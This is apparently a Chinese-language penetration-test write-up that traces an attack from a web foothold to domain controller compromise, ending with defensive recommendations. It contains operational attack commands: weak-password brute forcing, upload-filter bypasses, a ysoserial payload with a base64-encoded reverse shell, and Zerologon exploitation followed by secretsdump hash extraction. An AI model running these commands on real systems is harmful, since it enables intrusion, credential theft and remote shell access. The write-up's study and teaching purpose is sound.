1. 从Web打点到域控的渗透测试概述
渗透测试就像一场精心策划的数字迷宫探险,而这次我们要走通的是一条从Web入口直捣域控的经典路径。想象一下,攻击者就像拿着万能钥匙的小偷,而我们的任务就是模拟这个小偷的每一步动作,看看他是怎么从大门一路摸到保险柜的。
我最近复盘了一次典型的渗透测试过程,目标是一个中等规模的企业网络。这类网络通常有几个明显特征:对外提供Web服务、内网划分多个网段、使用域控制器管理权限。攻击者往往会先找到Web系统的薄弱点,然后像玩跳格子游戏一样,从一个漏洞跳到另一个漏洞,最终拿到域控这个"王冠上的宝石"。
整个过程可以分成两个主要阶段:Web打点和内网横向移动。Web打点阶段主要关注如何从外部突破边界,常见入口包括弱口令登录、文件上传漏洞、SpringBoot未授权访问等。一旦进入内网,游戏就进入了第二阶段——横向移动,这时候反序列化漏洞、信息收集技巧和域控提权方法就派上用场了。
2. Web打点阶段的漏洞利用
2.1 弱口令爆破实战
弱口令就像把钥匙藏在门垫下面——太容易被发现了。在这次测试中,我首先收集了所有可能的登录页面,包括后台管理系统、API接口等。这里有个小技巧:用爬虫工具爬取网站时,要特别注意那些带"login"、"admin"、"console"等关键词的路径。
我准备了几个高质量的字典:
- 常用用户名组合(admin/administrator/root等)
- 常见弱密码(123456/admin@123等)
- 目标企业名称相关的组合(公司缩写+年份等)
使用WebCrack工具进行爆破时,要注意这些细节:
python3 webcrack.py -u http://target.com/login -U users.txt -P passwords.txt -t 20参数-t控制线程数,太大会被WAF拦截,太小速度慢。遇到验证码怎么办?可以尝试识别绕过或者寻找没有验证码的接口。
2.2 文件上传漏洞的利用
通过弱口令进入后台后,我马上开始寻找文件上传功能。文件上传点就像系统的后门——如果没锁好,攻击者就能溜进来。常见的绕过手法有:
- 修改Content-Type为image/png
- 使用双后缀名(shell.php.jpg)
- 利用00截断(shell.php%00.jpg)
- 大小写混淆(sHell.PhP)
上传成功后,我遇到了第一个障碍:虽然拿到了Webshell,但这台服务器是独立的,没有连接内网。这时候就需要继续寻找其他突破口。
2.3 SpringBoot未授权访问
SpringBoot的Actuator端点是个信息金矿。我尝试访问了几个常见路径:
/env /actuator/env /autoconfig幸运的是,/autoconfig端点暴露了云服务的AccessKey。拿到AccessKey后,我使用aws-cli成功登录,但发现这是个空服务器——又一条死胡同。
这时候需要转换思路,我开始检查其他SpringBoot端点:
curl http://target.com/actuator/mappings | jq这个命令可以列出所有API接口,帮助发现隐藏的功能点。
3. 内网横向移动技术
3.1 通过反序列化突破边界
Java反序列化漏洞是我的突破口。发现目标使用了Apache Commons Collections 3.1版本——这是个经典的有漏洞版本。使用ysoserial工具生成payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82MzAwMCAwPiYx}|{base64,-d}|{bash,-i}" > payload.bin这个payload会反弹shell到我的服务器。成功执行后,我终于进入了内网,发现了192.168.0.0/16和172.16.0.0/16两个网段。
3.2 内网信息收集
进入内网后,我首先进行了快速扫描:
./fscan -h 192.168.1.1/24发现了几个关键信息:
- 多台服务器存在445端口开放(可能存在永恒之蓝漏洞)
- 一台服务器运行着JBoss服务
- 某台机器开放了5985端口(WinRM远程管理)
使用smbclient检查共享资源:
smbclient -L //192.168.1.100 -U administrator%password发现了几个有趣的共享文件夹,其中有一个包含数据库连接字符串的配置文件。
3.3 域控提权实战
通过收集的信息,我定位到了域控制器(DC)。使用nltest命令验证:
nltest /dclist:domain.com发现目标存在zerologon漏洞(CVE-2020-1472),这是个致命的域控漏洞。使用zerologon漏洞利用工具:
python3 zerologon.py DC01 192.168.1.10成功后,可以将域控的机器账户密码置空,然后使用secretsdump.py提取所有域用户的哈希:
secretsdump.py -no-pass DC01\$@192.168.1.10最后使用wmiexec.py以域管理员身份执行命令,完成整个渗透过程。
4. 防御建议与思考
从防御角度看,这次渗透暴露了几个关键问题:
- 边界防护薄弱:Web应用存在多个高危漏洞
- 内网缺乏分段:攻击者可以自由扫描整个内网
- 补丁管理缺失:未及时修复已知漏洞
具体防御措施包括:
- 对所有外网系统启用多因素认证
- 定期审计API接口和敏感端点
- 在内网部署微分段策略
- 建立完善的补丁管理流程
渗透测试就像一面镜子,照出系统安全的真实状态。通过复盘这次测试,我深刻体会到安全是一个持续的过程,而不是一劳永逸的状态。攻击者只需要找到一个漏洞就能突破,而防御者必须堵住所有可能的缺口——这场不对称的战争,正是安全工作的挑战所在。